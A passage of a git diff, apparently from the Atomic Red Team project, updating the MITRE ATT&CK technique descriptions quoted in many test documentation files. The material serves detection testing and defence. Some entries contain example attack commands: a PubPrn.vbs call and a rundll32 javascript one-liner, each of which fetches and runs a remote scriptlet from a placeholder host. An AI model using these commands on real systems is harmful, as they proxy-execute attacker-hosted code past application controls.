 Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.
 
diff --git a/atomics/T1053.007/T1053.007.md b/atomics/T1053.007/T1053.007.md
index cb8ba789..c94efdf6 100644
--- a/atomics/T1053.007/T1053.007.md
+++ b/atomics/T1053.007/T1053.007.md
@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1053/007)
 <blockquote>Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.
 
-In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)</blockquote>
+In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1056.002/T1056.002.md b/atomics/T1056.002/T1056.002.md
index fa8c19e0..e3156bdc 100644
--- a/atomics/T1056.002/T1056.002.md
+++ b/atomics/T1056.002/T1056.002.md
@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1056/002)
 <blockquote>Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).
 
-Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). </blockquote>
+Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) </blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1059.003/T1059.003.md b/atomics/T1059.003/T1059.003.md
index 350636eb..ff3ba783 100644
--- a/atomics/T1059.003/T1059.003.md
+++ b/atomics/T1059.003/T1059.003.md
@@ -1,6 +1,6 @@
 # T1059.003 - Windows Command Shell
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1059/003)
-<blockquote>Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. 
+<blockquote>Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)
 
 Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.
 
diff --git a/atomics/T1070/T1070.md b/atomics/T1070/T1070.md
index d91dd8db..9b5855d9 100644
--- a/atomics/T1070/T1070.md
+++ b/atomics/T1070/T1070.md
@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1070)
 <blockquote>Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1552/003) and /var/log/*.
 
-These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.</blockquote>
+These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1082/T1082.md b/atomics/T1082/T1082.md
index 67a38b2a..6863b7bb 100644
--- a/atomics/T1082/T1082.md
+++ b/atomics/T1082/T1082.md
@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1082)
 <blockquote>An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
 
-Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS <code>systemsetup</code> command, but it requires administrative privileges.
+Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the <code>systemsetup</code> configuration tool on macOS. As an example, adversaries with user-level access can execute the <code>df -aH</code> command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)
 
 Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)</blockquote>
 
diff --git a/atomics/T1083/T1083.md b/atomics/T1083/T1083.md
index b040b8d9..7ce4a618 100644
--- a/atomics/T1083/T1083.md
+++ b/atomics/T1083/T1083.md
@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1083)
 <blockquote>Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
 
-Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).</blockquote>
+Many command shell utilities can be used to obtain this information. Examples include <code>dir</code>, <code>tree</code>, <code>ls</code>, <code>find</code>, and <code>locate</code>.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1087.001/T1087.001.md b/atomics/T1087.001/T1087.001.md
index 7f289734..3ef48348 100644
--- a/atomics/T1087.001/T1087.001.md
+++ b/atomics/T1087.001/T1087.001.md
@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1087/001)
 <blockquote>Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.
 
-Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file.</blockquote>
+Commands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code>on macOS and Linux can list local users and groups. On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS the <code>dscl . list /Users</code> command can be used to enumerate local accounts.</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1106/T1106.md b/atomics/T1106/T1106.md
index 0e25b7fe..58399473 100644
--- a/atomics/T1106/T1106.md
+++ b/atomics/T1106/T1106.md
@@ -1,12 +1,12 @@
 # T1106 - Native API
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1106)
-<blockquote>Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
+<blockquote>Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
 
-Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
+Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
 
 Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
 
-Adversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.</blockquote>
+Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1133/T1133.md b/atomics/T1133/T1133.md
index 578c4cf1..59041591 100644
--- a/atomics/T1133/T1133.md
+++ b/atomics/T1133/T1133.md
@@ -1,6 +1,6 @@
 # T1133 - External Remote Services
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1133)
-<blockquote>Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) can also be used externally.
+<blockquote>Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)
 
 Access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.
 
diff --git a/atomics/T1134.002/T1134.002.md b/atomics/T1134.002/T1134.002.md
index 045ad799..e5a284a5 100644
--- a/atomics/T1134.002/T1134.002.md
+++ b/atomics/T1134.002/T1134.002.md
@@ -1,6 +1,8 @@
 # T1134.002 - Create Process with Token
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1134/002)
-<blockquote>Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with <code>DuplicateToken(Ex)</code> and use it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.</blockquote>
+<blockquote>Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as <code>CreateProcessWithTokenW</code> and <code>runas</code>.(Citation: Microsoft RunAs)
+
+Creating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1135/T1135.md b/atomics/T1135/T1135.md
index 7bd8f28c..497ebb42 100644
--- a/atomics/T1135/T1135.md
+++ b/atomics/T1135/T1135.md
@@ -2,7 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1135)
 <blockquote>Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. 
 
-File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>.</blockquote>
+File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1136.001/T1136.001.md b/atomics/T1136.001/T1136.001.md
index de0dfdfd..840331cf 100644
--- a/atomics/T1136.001/T1136.001.md
+++ b/atomics/T1136.001/T1136.001.md
@@ -1,6 +1,6 @@
 # T1136.001 - Local Account
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1136/001)
-<blockquote>Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the <code>net user /add</code> command can be used to create a local account.
+<blockquote>Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the <code>net user /add</code> command can be used to create a local account. On macOS systems the <code>dscl -create</code> command can be used to create a local account.
 
 Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.</blockquote>
 
diff --git a/atomics/T1201/T1201.md b/atomics/T1201/T1201.md
index 3f1dc931..32c26a25 100644
--- a/atomics/T1201/T1201.md
+++ b/atomics/T1201/T1201.md
@@ -1,8 +1,10 @@
 # T1201 - Password Policy Discovery
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1201)
-<blockquote>Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
+<blockquote>Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
 
-Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code>.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)</blockquote>
+Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).
+
+Password policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS (Citation: AWS GetPasswordPolicy).</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1216.001/T1216.001.md b/atomics/T1216.001/T1216.001.md
index 90da7ee0..d56bbe88 100644
--- a/atomics/T1216.001/T1216.001.md
+++ b/atomics/T1216.001/T1216.001.md
@@ -1,8 +1,10 @@
 # T1216.001 - PubPrn
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1216/001)
-<blockquote>Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.
+<blockquote>Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a [Visual Basic](https://attack.mitre.org/techniques/T1059/005) script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) via <code>Cscript.exe</code>. For example, the following code publishes a printer within the specified domain: <code>cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com</code>.(Citation: pubprn)
 
-<code>PubPrn.vbs</code> is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site.(Citation: Enigma0x3 PubPrn Bypass) An example command is <code>cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png</code>.</blockquote>
+Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.(Citation: Enigma0x3 PubPrn Bypass) To do so, adversaries may set the second <code>script:</code> parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is <code>pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct</code>. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
+
+In later versions of Windows (10+), <code>PubPrn.vbs</code> has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to <code>LDAP://</code>, vice the <code>script:</code> moniker which could be used to reference remote code via HTTP(S).</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1218.011/T1218.011.md b/atomics/T1218.011/T1218.011.md
index 1fb9e732..5f85b50e 100644
--- a/atomics/T1218.011/T1218.011.md
+++ b/atomics/T1218.011/T1218.011.md
@@ -1,10 +1,12 @@
 # T1218.011 - Rundll32
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1218/011)
-<blockquote>Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
+<blockquote>Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).
 
 Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
 
-Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)</blockquote>
+Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
+
+Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)</blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1222.002/T1222.002.md b/atomics/T1222.002/T1222.002.md
index b2e0642d..a3857c62 100644
--- a/atomics/T1222.002/T1222.002.md
+++ b/atomics/T1222.002/T1222.002.md
@@ -4,7 +4,7 @@
 
 Most Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: <code>chown</code> (short for change owner), and <code>chmod</code> (short for change mode).
 
-Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).</blockquote>
+Adversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) </blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1497.001/T1497.001.md b/atomics/T1497.001/T1497.001.md
index 0d0581c1..bb079259 100644
--- a/atomics/T1497.001/T1497.001.md
+++ b/atomics/T1497.001/T1497.001.md
@@ -1,6 +1,6 @@
 # T1497.001 - System Checks
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1497/001)
-<blockquote>Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. 
+<blockquote>Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
 
 Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. 
 
diff --git a/atomics/T1543.001/T1543.001.md b/atomics/T1543.001/T1543.001.md
index 36fe4d01..02617346 100644
--- a/atomics/T1543.001/T1543.001.md
+++ b/atomics/T1543.001/T1543.001.md
@@ -1,8 +1,10 @@
 # T1543.001 - Launch Agent
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1543/001)
-<blockquote>Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).
+<blockquote>Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the <code>Label</code>, <code>ProgramArguments </code>, and <code>RunAtLoad</code> keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.
+
+ Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.
  
-Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).</blockquote>
+Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the <code>RunAtLoad</code> or <code>KeepAlive</code> keys set to <code>true</code>.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) </blockquote>
 
 ## Atomic Tests
 
diff --git a/atomics/T1543.004/T1543.004.md b/atomics/T1543.004/T1543.004.md
index f53eeac4..13bcac9a 100644
--- a/atomics/T1543.004/T1543.004.md
+++ b/atomics/T1543.004/T1543.004.md
@@ -1,10 +1,10 @@
 # T1543.004 - Launch Daemon
 ## [Description from ATT&CK](https://attack.mitre.org/techniques/T1543/004)
-<blockquote>Adversaries may create or modify launch daemons to repeatedly execute malicious payloads as part of persistence. Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). 
